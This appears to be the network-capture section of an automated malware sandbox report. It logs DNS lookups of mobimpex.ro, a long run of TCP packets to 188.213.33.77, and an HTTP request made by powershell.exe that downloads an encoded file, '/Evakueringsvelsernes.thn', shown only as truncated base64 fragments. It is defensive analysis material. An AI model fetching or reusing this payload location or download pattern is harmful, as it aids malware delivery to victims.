Mar 19, 2025 16:14:25.216772079 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.216864109 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.216882944 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.216892004 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.216923952 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.216943979 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.216984034 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.217009068 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.217016935 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.217026949 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.217102051 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.217102051 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.217310905 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.217334986 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.217344046 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.217353106 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.217390060 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.217407942 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.217763901 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.217782021 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.217792034 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.217842102 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.218310118 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218321085 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218331099 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218341112 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218349934 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218364954 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.218405962 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.218436003 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218472958 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218485117 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218530893 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.218719006 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218736887 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218746901 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218763113 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.218808889 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.218934059 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218950987 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218961954 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.218996048 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.219263077 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.219274044 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.219284058 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.219314098 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.219351053 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.219561100 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.219659090 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.219666958 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.219682932 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.219691038 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.219700098 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.219710112 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.219715118 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.219746113 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.220125914 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.220148087 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.220155954 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.220170975 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.220202923 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.220280886 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.220289946 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.220299959 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.220331907 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.220546961 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.220556974 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.220566034 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.220598936 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.220633030 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.220747948 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.220757008 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.220767021 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.220796108 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.221697092 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.221705914 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.221714973 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.221724033 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.221731901 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.221741915 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.221743107 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.221786976 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.221786976 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.221823931 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.221832991 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.221843004 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.221884966 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.221946001 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.221956015 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.221963882 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222012997 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.222031116 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222068071 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222079039 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.222079039 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222115993 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.222598076 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222611904 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222626925 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222636938 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222645998 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222655058 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222665071 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.222676039 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222686052 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222695112 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222703934 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.222704887 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222711086 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222718954 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222732067 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.222785950 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.222790003 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222800970 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222840071 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.222884893 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222894907 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222904921 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.222948074 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.223054886 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223063946 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223073006 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223082066 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223110914 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.223160028 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.223184109 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223192930 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223197937 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223268986 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223278046 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.223297119 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223305941 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223314047 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223367929 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.223406076 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223427057 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223436117 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223474979 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.223579884 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223587990 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223602057 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223608971 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223639965 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.223660946 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.223856926 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223867893 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223876953 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.223906040 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.223942041 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.224035978 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224045992 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224055052 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224065065 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224075079 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224082947 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224086046 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.224127054 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.224214077 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224234104 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224242926 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224253893 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224281073 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.224293947 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224311113 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224313974 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.224385023 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.224428892 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224438906 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224455118 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224466085 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224505901 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.224523067 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224531889 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224541903 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224548101 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.224554062 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224592924 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.224632025 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.224749088 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224757910 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224772930 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224785089 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224793911 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224821091 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.224853039 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.224948883 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224967957 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224976063 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.224986076 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225003004 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.225037098 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.225158930 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225174904 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225184917 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225215912 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.225248098 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.225311995 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225327015 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225342989 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225395918 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.225419044 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225429058 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225439072 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225449085 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225469112 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.225497007 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.225523949 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225534916 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225545883 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225569010 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.225586891 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.225645065 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225656033 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225666046 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225692987 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.225785017 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225795984 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225805998 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.225842953 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.225872040 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.401778936 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.401794910 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.401806116 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.401815891 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.401827097 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.401838064 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.401890039 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.401927948 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.402692080 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.402709007 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.402719021 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.402728081 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.402738094 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.402748108 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.402759075 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.402765989 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.402769089 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.402785063 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.402793884 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.402801991 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.402812004 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.402812004 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.402842999 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.403088093 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.403143883 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.403151035 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.403162003 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.403171062 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.403198004 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.403238058 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.403247118 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.403295040 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.403450012 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.403461933 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.403472900 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.403506994 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:25.403526068 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.403541088 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:25.403583050 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:30.424803019 CET	80	49698	188.213.33.77	192.168.2.6
Mar 19, 2025 16:14:30.424880981 CET	49698	80	192.168.2.6	188.213.33.77
Mar 19, 2025 16:14:30.650746107 CET	49698	80	192.168.2.6	188.213.33.77

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 16:14:16.043231964 CET	61999	53	192.168.2.6	1.1.1.1
Mar 19, 2025 16:14:16.121093035 CET	53	61999	1.1.1.1	192.168.2.6
Mar 19, 2025 16:14:17.685439110 CET	62987	53	192.168.2.6	1.1.1.1
Mar 19, 2025 16:14:17.721371889 CET	53	62987	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 19, 2025 16:14:16.043231964 CET	192.168.2.6	1.1.1.1	0xe3cb	Standard query (0)	mobimpex.ro	A (IP address)	IN (0x0001)	false
Mar 19, 2025 16:14:17.685439110 CET	192.168.2.6	1.1.1.1	0xa7d2	Standard query (0)	www.mobimpex.ro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 19, 2025 16:14:16.121093035 CET	1.1.1.1	192.168.2.6	0xe3cb	No error (0)	mobimpex.ro		188.213.33.77	A (IP address)	IN (0x0001)	false
Mar 19, 2025 16:14:17.721371889 CET	1.1.1.1	192.168.2.6	0xa7d2	No error (0)	www.mobimpex.ro		188.213.33.77	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mobimpex.ro

www.mobimpex.ro

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49698	188.213.33.77	80	7524	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Mar 19, 2025 16:14:23.291655064 CET	89	OUT	GET /Evakueringsvelsernes.thn HTTP/1.1 Host: www.mobimpex.ro Connection: Keep-Alive
Mar 19, 2025 16:14:24.433156967 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 15:14:24 GMT Server: Apache Last-Modified: Wed, 19 Mar 2025 03:11:42 GMT Accept-Ranges: bytes Content-Length: 475548 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 44 33 62 76 6d 39 76 6a 36 77 32 45 41 30 71 37 33 4b 2f 47 32 77 37 4b 64 55 73 44 5a 69 48 41 44 33 48 79 4c 41 39 31 37 75 74 58 7a 64 76 2f 50 67 77 72 7a 6d 43 30 6a 6f 57 75 30 52 62 58 71 6c 7a 2b 42 73 59 7a 6a 6d 4e 7a 44 71 30 38 48 4c 59 55 70 4d 64 35 39 69 65 6f 74 48 71 36 77 39 36 59 66 6d 4f 78 56 5a 6f 32 30 54 61 35 55 79 72 52 38 46 39 4b 4f 4e 54 42 43 79 79 63 75 4e 6c 4e 36 34 74 36 69 57 62 57 61 34 46 43 42 56 36 34 6f 31 57 77 44 59 49 6d 77 47 34 6d 49 4d 42 6d 44 33 54 66 5a 67 2f 34 38 4f 73 4a 4b 74 69 30 49 5a 74 75 67 71 30 61 32 65 58 64 77 65 73 71 51 70 46 4f 44 55 56 31 55 78 69 49 46 2f 43 74 31 38 38 37 6b 31 49 30 4d 76 77 47 33 46 68 76 75 38 78 6d 79 35 75 38 4a 56 38 35 2b 54 78 7a 6a 58 6b 46 49 76 4c 6f 75 38 41 77 45 77 44 5a 38 51 2f 34 37 2b 73 6c 32 4c 2b 4a 4f 76 74 68 49 68 57 6b 68 4f 6c 57 75 6f 70 52 43 78 79 37 39 2f 37 58 48 6d 79 58 31 69 71 54 66 46 6d 30 44 57 59 7a 41 56 30 45 79 6f 54 4a 32 66 62 5a 2b 2b 74 59 4e 6c 7a 66 6e 61 37 44 7a 34 [TRUNCATED] Data Ascii: D3bvm9vj6w2EA0q73K/G2w7KdUsDZiHAD3HyLA917utXzdv/PgwrzmC0joWu0RbXqlz+BsYzjmNzDq08HLYUpMd59ieotHq6w96YfmOxVZo20Ta5UyrR8F9KONTBCyycuNlN64t6iWbWa4FCBV64o1WwDYImwG4mIMBmD3TfZg/48OsJKti0IZtugq0a2eXdwesqQpFODUV1UxiIF/Ct1887k1I0MvwG3Fhvu8xmy5u8JV85+TxzjXkFIvLou8AwEwDZ8Q/47+sl2L+JOvthIhWkhOlWuopRCxy79/7XHmyX1iqTfFm0DWYzAV0EyoTJ2fbZ++tYNlzfna7Dz4z8uEADZs72TR0mMvunTeDgOe7Oa+JPP70if4fHbN7z3Zi9oyUDVl2cHdvxuYsn9/ZpoXBLUdImQg3CbOcvlhzEf3VXYOllzcHPdrEiB7eEowwAD3bAD2vM61zS0b0TEmCvV2DFp1NCi/mOC3tMdRDk1N5iWnmNtfSMhW43WIr/0m4Vi2hKFeSj/ppGg5E6qi/sHu4zOD/USp7cWkaf+hjf5QNJVTe9h/K0d6lvLUtdzibNLN4PWANcJATZ6dn16yUe4l/QaNioZu5DxBum9MwPk0GKX4rmVqkKzeAEt7sBl7JaKUXthNtmD2Lq2f3rNZlGwY1Ytwv3MlQc/B3PfkufFu3jQbhfvFp6iELZjGQfdM/w185gsKgeZPF++LUZLfYNGhQ1ZsHiANn52eTrNdhWgYdb5WlTEOCTEAxO5NKRf0Og1JWvVLKxIwSX8/L3l+crD4Aax8KBWhpthmy+57bDJURcuXhEyw8P6/sP5ePrC4ioocoJ8f0oQBwnm9z02fvrPH+uhOuFN70K133/rKtqguZcGfnXOT7d+pmjI71p36eO41OviuBotdQFAQkXtKpcJEG96ih69rAbW1/ZZWaDwgDe9g/s3es7MIK0YV5BL+zOKcUHms/1iwiLFWF9wmHy/qfTbOc/YtItc3Cim+dCEtwrEmJTjzRg [TRUNCATED]
Mar 19, 2025 16:14:24.433172941 CET	212	IN	Data Raw: 74 53 66 6d 46 31 7a 51 41 6a 69 42 36 64 66 78 67 65 5a 6d 44 33 50 33 2b 70 44 72 4c 59 46 4f 2f 2b 61 4e 73 46 43 6c 31 66 44 55 77 65 47 62 45 5a 58 54 72 63 52 45 37 44 79 4d 2b 50 6d 4c 32 43 47 76 47 56 71 71 6b 47 79 67 32 4e 47 57 39 59 Data Ascii: tSfmF1zQAjiB6dfxgeZmD3P3+pDrLYFO/+aNsFCl1fDUweGbEZXTrcRE7DyM+PmL2CGvGVqqkGyg2NGW9Y9eOH5L/oPvANnQ3uHrU5Fbi0n2r2VPjmetiSHOesci7vh6MLYFsvbZzdHztCflmEqX9Ap+wkdRjPOfY7cbQOw6paluEfV+HuGH0KopfMLYJyfDWZmcEly4lkEOpYBc5njy
